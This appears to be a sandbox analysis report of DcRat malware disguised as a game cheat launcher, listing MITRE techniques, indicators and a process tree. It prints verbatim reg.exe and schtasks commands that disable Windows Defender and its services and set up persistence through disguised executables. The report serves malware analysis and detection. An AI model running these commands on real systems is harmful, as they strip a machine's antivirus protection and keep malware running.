File opened for modification	C:\Windows\assembly\GAC_64\srmlib\1.0.0.0__31bf3856ad364e35\StartMenuExperienceHost.exe	portrefNet.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lunch LaCheatV2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BBD6FFDB33259778F08704696A04891F.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DCRatBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lunch LaCheat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	DCRatBuild.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 48 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3204	schtasks.exe
872	schtasks.exe
3944	schtasks.exe
2064	schtasks.exe
4852	schtasks.exe
552	schtasks.exe
4180	schtasks.exe
3184	schtasks.exe
4452	schtasks.exe
2576	schtasks.exe
4620	schtasks.exe
1904	schtasks.exe
924	schtasks.exe
2336	schtasks.exe
4904	schtasks.exe
4404	schtasks.exe
1096	schtasks.exe
2756	schtasks.exe
1044	schtasks.exe
984	schtasks.exe
956	schtasks.exe
4424	schtasks.exe
3036	schtasks.exe
208	schtasks.exe
3748	schtasks.exe
3952	schtasks.exe
556	schtasks.exe
432	schtasks.exe
4744	schtasks.exe
1172	schtasks.exe
4748	schtasks.exe
3480	schtasks.exe
1056	schtasks.exe
3220	schtasks.exe
4504	schtasks.exe
4552	schtasks.exe
3472	schtasks.exe
2752	schtasks.exe
456	schtasks.exe
3852	schtasks.exe
2996	schtasks.exe
2164	schtasks.exe
548	schtasks.exe
4460	schtasks.exe
2148	schtasks.exe
2608	schtasks.exe
4924	schtasks.exe
2648	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2468	Lunch LaCheatV2.exe
2468	Lunch LaCheatV2.exe
2468	Lunch LaCheatV2.exe
2468	Lunch LaCheatV2.exe
3092	Lunch LaCheat.exe
3092	Lunch LaCheat.exe
3092	Lunch LaCheat.exe
3092	Lunch LaCheat.exe
4016	portrefNet.exe
1740	portrefNet.exe
1740	portrefNet.exe
1740	portrefNet.exe
2636	dllhost.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	4508	52cheatand52rat.exe
Token: SeIncreaseQuotaPrivilege	4428	wmic.exe
Token: SeSecurityPrivilege	4428	wmic.exe
Token: SeTakeOwnershipPrivilege	4428	wmic.exe
Token: SeLoadDriverPrivilege	4428	wmic.exe
Token: SeSystemProfilePrivilege	4428	wmic.exe
Token: SeSystemtimePrivilege	4428	wmic.exe
Token: SeProfSingleProcessPrivilege	4428	wmic.exe
Token: SeIncBasePriorityPrivilege	4428	wmic.exe
Token: SeCreatePagefilePrivilege	4428	wmic.exe
Token: SeBackupPrivilege	4428	wmic.exe
Token: SeRestorePrivilege	4428	wmic.exe
Token: SeShutdownPrivilege	4428	wmic.exe
Token: SeDebugPrivilege	4428	wmic.exe
Token: SeSystemEnvironmentPrivilege	4428	wmic.exe
Token: SeRemoteShutdownPrivilege	4428	wmic.exe
Token: SeUndockPrivilege	4428	wmic.exe
Token: SeManageVolumePrivilege	4428	wmic.exe
Token: 33	4428	wmic.exe
Token: 34	4428	wmic.exe
Token: 35	4428	wmic.exe
Token: 36	4428	wmic.exe
Token: SeIncreaseQuotaPrivilege	4428	wmic.exe
Token: SeSecurityPrivilege	4428	wmic.exe
Token: SeTakeOwnershipPrivilege	4428	wmic.exe
Token: SeLoadDriverPrivilege	4428	wmic.exe
Token: SeSystemProfilePrivilege	4428	wmic.exe
Token: SeSystemtimePrivilege	4428	wmic.exe
Token: SeProfSingleProcessPrivilege	4428	wmic.exe
Token: SeIncBasePriorityPrivilege	4428	wmic.exe
Token: SeCreatePagefilePrivilege	4428	wmic.exe
Token: SeBackupPrivilege	4428	wmic.exe
Token: SeRestorePrivilege	4428	wmic.exe
Token: SeShutdownPrivilege	4428	wmic.exe
Token: SeDebugPrivilege	4428	wmic.exe
Token: SeSystemEnvironmentPrivilege	4428	wmic.exe
Token: SeRemoteShutdownPrivilege	4428	wmic.exe
Token: SeUndockPrivilege	4428	wmic.exe
Token: SeManageVolumePrivilege	4428	wmic.exe
Token: 33	4428	wmic.exe
Token: 34	4428	wmic.exe
Token: 35	4428	wmic.exe
Token: 36	4428	wmic.exe
Token: SeDebugPrivilege	4016	portrefNet.exe
Token: SeDebugPrivilege	1740	portrefNet.exe
Token: SeDebugPrivilege	2636	dllhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4964 wrote to memory of 2468	4964	BBD6FFDB33259778F08704696A04891F.exe	85
PID 4964 wrote to memory of 2468	4964	BBD6FFDB33259778F08704696A04891F.exe	85
PID 4964 wrote to memory of 2468	4964	BBD6FFDB33259778F08704696A04891F.exe	85
PID 4964 wrote to memory of 3460	4964	BBD6FFDB33259778F08704696A04891F.exe	86
PID 4964 wrote to memory of 3460	4964	BBD6FFDB33259778F08704696A04891F.exe	86
PID 4964 wrote to memory of 3460	4964	BBD6FFDB33259778F08704696A04891F.exe	86
PID 3460 wrote to memory of 4288	3460	cmd.exe	89
PID 3460 wrote to memory of 4288	3460	cmd.exe	89
PID 3460 wrote to memory of 4288	3460	cmd.exe	89
PID 3460 wrote to memory of 3384	3460	cmd.exe	90
PID 3460 wrote to memory of 3384	3460	cmd.exe	90
PID 3460 wrote to memory of 3384	3460	cmd.exe	90
PID 3460 wrote to memory of 2452	3460	cmd.exe	91
PID 3460 wrote to memory of 2452	3460	cmd.exe	91
PID 3460 wrote to memory of 2452	3460	cmd.exe	91
PID 3460 wrote to memory of 3516	3460	cmd.exe	92
PID 3460 wrote to memory of 3516	3460	cmd.exe	92
PID 3460 wrote to memory of 3516	3460	cmd.exe	92
PID 3460 wrote to memory of 2848	3460	cmd.exe	93
PID 3460 wrote to memory of 2848	3460	cmd.exe	93
PID 3460 wrote to memory of 2848	3460	cmd.exe	93
PID 3460 wrote to memory of 736	3460	cmd.exe	94
PID 3460 wrote to memory of 736	3460	cmd.exe	94
PID 3460 wrote to memory of 736	3460	cmd.exe	94
PID 3460 wrote to memory of 5040	3460	cmd.exe	95
PID 3460 wrote to memory of 5040	3460	cmd.exe	95
PID 3460 wrote to memory of 5040	3460	cmd.exe	95
PID 3460 wrote to memory of 2476	3460	cmd.exe	96
PID 3460 wrote to memory of 2476	3460	cmd.exe	96
PID 3460 wrote to memory of 2476	3460	cmd.exe	96
PID 3460 wrote to memory of 3980	3460	cmd.exe	97
PID 3460 wrote to memory of 3980	3460	cmd.exe	97
PID 3460 wrote to memory of 3980	3460	cmd.exe	97
PID 3460 wrote to memory of 628	3460	cmd.exe	98
PID 3460 wrote to memory of 628	3460	cmd.exe	98
PID 3460 wrote to memory of 628	3460	cmd.exe	98
PID 3460 wrote to memory of 3608	3460	cmd.exe	99
PID 3460 wrote to memory of 3608	3460	cmd.exe	99
PID 3460 wrote to memory of 3608	3460	cmd.exe	99
PID 3460 wrote to memory of 1784	3460	cmd.exe	100
PID 3460 wrote to memory of 1784	3460	cmd.exe	100
PID 3460 wrote to memory of 1784	3460	cmd.exe	100
PID 3460 wrote to memory of 1152	3460	cmd.exe	101
PID 3460 wrote to memory of 1152	3460	cmd.exe	101
PID 3460 wrote to memory of 1152	3460	cmd.exe	101
PID 3460 wrote to memory of 4292	3460	cmd.exe	102
PID 3460 wrote to memory of 4292	3460	cmd.exe	102
PID 3460 wrote to memory of 4292	3460	cmd.exe	102
PID 3460 wrote to memory of 4732	3460	cmd.exe	103
PID 3460 wrote to memory of 4732	3460	cmd.exe	103
PID 3460 wrote to memory of 4732	3460	cmd.exe	103
PID 3460 wrote to memory of 1632	3460	cmd.exe	104
PID 3460 wrote to memory of 1632	3460	cmd.exe	104
PID 3460 wrote to memory of 1632	3460	cmd.exe	104
PID 3460 wrote to memory of 3148	3460	cmd.exe	105
PID 3460 wrote to memory of 3148	3460	cmd.exe	105
PID 3460 wrote to memory of 3148	3460	cmd.exe	105
PID 3460 wrote to memory of 4120	3460	cmd.exe	106
PID 3460 wrote to memory of 4120	3460	cmd.exe	106
PID 3460 wrote to memory of 4120	3460	cmd.exe	106
PID 3460 wrote to memory of 1856	3460	cmd.exe	107
PID 3460 wrote to memory of 1856	3460	cmd.exe	107
PID 3460 wrote to memory of 1856	3460	cmd.exe	107
PID 3460 wrote to memory of 2248	3460	cmd.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\BBD6FFDB33259778F08704696A04891F.exe
"C:\Users\Admin\AppData\Local\Temp\BBD6FFDB33259778F08704696A04891F.exe"
1⤵
- DcRat
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4964
- C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
  "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2468
- - C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
    "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3092
  - - C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
      "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:3852
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:2660
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2248
        
        C:\blockweb\portrefNet.exe
        
        "C:\blockweb\portrefNet.exe"
        7⤵
        DcRat
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4016
        
        C:\blockweb\portrefNet.exe
        
        "C:\blockweb\portrefNet.exe"
        8⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1740
        
        C:\Recovery\WindowsRE\dllhost.exe
        
        "C:\Recovery\WindowsRE\dllhost.exe"
        9⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2636
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:232
  - - C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
      "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4508
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4428
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3460
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4288
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3384
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2452
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3516
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2848
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:736
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:5040
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2476
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:3980
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:628
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3608
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1784
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1152
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4292
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2248
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5096
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3892
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4084
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2204
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2336
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:1380
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:552
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:4904
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:5028
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    - System Location Discovery: System Language Discovery
    PID:3476

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 10 /tr "'C:\Windows\assembly\GAC_64\srmlib\1.0.0.0__31bf3856ad364e35\StartMenuExperienceHost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\assembly\GAC_64\srmlib\1.0.0.0__31bf3856ad364e35\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2336

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 12 /tr "'C:\Windows\assembly\GAC_64\srmlib\1.0.0.0__31bf3856ad364e35\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\taskhostw.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\taskhostw.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\taskhostw.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Favorites\MoUsoCoreWorker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Users\Admin\Favorites\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4180

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Favorites\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Media Player\taskhostw.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\taskhostw.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Media Player\taskhostw.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\blockweb\smss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\blockweb\smss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\blockweb\smss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\Windows\Vss\services.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Windows\Vss\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\Windows\Vss\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\blockweb\services.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\blockweb\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 12 /tr "'C:\blockweb\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Windows\Speech_OneCore\smss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Windows\Speech_OneCore\smss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Windows\Speech_OneCore\smss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 5 /tr "'C:\blockweb\upfc.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
